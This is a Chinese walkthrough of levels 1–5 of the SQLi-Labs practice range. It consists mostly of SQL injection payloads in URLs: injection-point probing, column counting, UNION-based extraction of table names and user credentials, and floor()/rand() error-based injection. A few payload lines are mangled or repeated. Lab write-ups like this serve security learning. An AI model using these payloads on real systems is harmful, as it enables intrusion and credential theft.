本文主要是介绍SQL1~5关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
第一关:
1.访问SQLI-Labs网站,进入靶场
右键打开检查,进入到Hackbar(火狐插件)输入http://ip/sqli-labs/less-1/?id=1
点击Execute观察页面变化
此时页面显示id=1的用户名Dump、密码Dump。
2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型:
http://ip/sqli-labs/less-1/?id=1' //报错
http://ip/sqli-labs/less-1/?id=1' and '1'='1 //运行正常
http://ip/sqli-labs/less-1/?id=1' and '1'='2//未正常显示
由上述结果可以判断,网站存在字符型注入点。
3.判断网站查询的字段数
http://ip/sqli-labs/less-1/?id=1' order by 1--+ //正常显示
http://ip/sqli-labs/less-1/?id=1' order by 2--+ //正常显示
http://ip/sqli-labs/less-1/?id=1' order by 3--+ //正常显示
http://ip/sqli-labs/less-1/?id=1' order by 4--+ //报错
由此可知,网站查询的字段数为3。
4.判断网站的回显位置
http://ip/sqli-labs/less-1/?id=1' and 1=2 union select 1,2,3--+ //执行结果:2号位和3号位可以回显。
5.获取网站当前所在数据库的库名
http://ip/sqli-labs/less-1/?id=1' and 1=2 union select 1,2,database()--+ //显示结果为security。
6.获取数据库security的全部表名
http://ip/sqli-labs/less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema='security'--+
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
7.获取users表的全部字段名
http://ip/sqli-labs/less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema='security' and table_name='users'--+
显示结果,users表中有id、username和password三个字段。
8.获取users表id、username和password字段的全部值
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如下:
(1)显示第一组数据
http://ip/sqli-labs/less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password)
from security.users limit 0,1--+
结果显示为dump、dump
(2)第二组数据
http://ip/sqli-labs/less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password)
from security.users limit 1,1--+
显示结果为Angelina,I-kill-you。
(3)第三组
http://ip/sqli-labs/less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password)
from security.users limit 2,1--+
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
第二关:
访问SQLI-Labs网站less-2
登录后如图
先给定一个GET参数,即http://ip/sqli-labs-master/less-2/?id=1如图显示id=1的用户名dump、密码dump。
2.寻找注入点
http://ip/sqli-labs-master/less-2/?id=1' //报错
http://ip/sqli-labs-master/less-2/?id=1 and 1=1 //正常
http://ip/sqli-labs-master/less-2/?id=1 and 1=2 //未正常显示
由此可知,网站存在数字型注入点
3.判断网站查询的字段数
http://ip/sqli-labs-master/less-2/?id=1 order by 1--+ //正常
http://ip/sqli-labs-master/less-2/?id=1 order by 2--+ //正常
http://ip/sqli-labs-master/less-2/?id=1 order by 3--+ //正常
http://ip/sqli-labs-master/less-2/?id=1 order by 4--+ //报错
由此可知,网站的查询的字段数为3.
4.判断网站的回显位置(和第一关一样)
5.获取网站当前所在数据库的库名(同上)
6.获取数据库security的全部表名(同上)
7.获取users表的全部字段名(同上)
后面都与第一关相同
第三关
1.第一步首先判断注入类型(根据提示,这关的注入类型是:单引号和单括号注入)
2.判断有几个字段位可显示数据
http://ip/sqli-labs-master/less-3/?id=1') order by 1--+
http://ip/sqli-labs-master/less-3/?id=1') order by 2--+
http://ip/sqli-labs-master/less-3/?id=1') order by 3--+
http://ip/sqli-labs-master/less-3/?id=1') order by 4--+ //报错
由此可得,有3位字段位
3.判断可显示数据的有几位
http://ip/sqli-labs-master/less-3/?id=-1') union select 1,2,3 --+
数据显示位只有2和3
4.爆破数据库名
http://ip/sqli-labs-master/less-3/?id=-1') union select 1,database(),3 --+
5.爆出表名
http://ip/sqli-labs-master/less-3/?id=-1') union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
表名分别为:emails、referers、uagents、users
爆出字段名
http://ip/sqli-labs-master/less-3/?id=-1') union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+
7.爆出数据
http://ip/sqli-labs-master/less-3/?id=-1') union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+
第四关
与第三关对比
第三关
第四关
第四关根据提示知道是基于双引号的错误
判断回显
http://ip/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+
爆出数据库名
http://ip/sqli-labs-master/less-4/?id=-1") union select 1,database(),3 --+
爆出表名
http://ip/sqli-labs-master/less-4/?id=-1") union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
爆出字段名
http://ip/sqli-labs-master/less-4/?id=-1") union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+
爆出数据
http://ip/sqli-labs-master/less-4/?id=-1") union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+
第五关
登录后页面
这一关,当输入正确的id时,会输出 You are in……,而输入错误的则什么都没有,只有个welcome
http://ip/sqli-labs-master/less-5/?id=1
http://ip/sqli-labs-master/less-5/?id=0
http://ip/sqli-labs-master/less-5/?id=1"
http://ip/sqli-labs-master/less-5/?id=1' //当使用'的时候,提示SQL语法中出现错误。
发现有sql语法错误,应该是floor报错注入
这里用到了floor()报错:
http://IP/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a) --+
查询库名
1、用limit0,1
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
查出了名为information_schema、challenges...的数据库
2、用limit 1,1
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
查出了challenges的数据库
3.用limit2,1
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 2,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
4,、用limit 3,1
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 3,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
5、用limit 4,1
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 4,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
6、用limit 5,1
7,、用limit 6,1
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 4,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
limit 7,1......直到页面显示 如下图不报错,确定数据库的数量
有一条命令能直接找到名为security的数据库
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
查询表名
利用security库,在limit 3,1中找到了users表
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
查字段
查询users表里的字段,limit 0,1是ID
http://IP/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
limit 1,1是
limit 2,1是
查询first、last字段的值(limit 1,1、limit 2,1......)
http://IP/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)--+
这篇关于SQL1~5关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!